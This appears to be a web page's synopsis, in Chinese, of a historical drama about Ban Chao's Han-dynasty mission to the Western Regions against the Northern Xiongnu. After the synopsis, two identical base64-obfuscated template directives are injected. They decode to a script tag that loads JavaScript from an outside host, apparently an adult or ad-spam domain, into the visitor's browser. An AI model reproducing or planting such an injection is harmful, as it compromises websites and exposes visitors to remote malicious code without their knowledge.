简介：中国东汉时期，北匈奴控制西域诸国，不断骚扰侵犯河西走廊北部边塞。永平十六即公元七十四年，奉车都尉窦固，于天山大破匈奴呼延王之后，奉旨派遣从事郭恂加司马班超，出使西域，联合西域诸国恢复西域商路，断掉北匈奴臂膀。{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
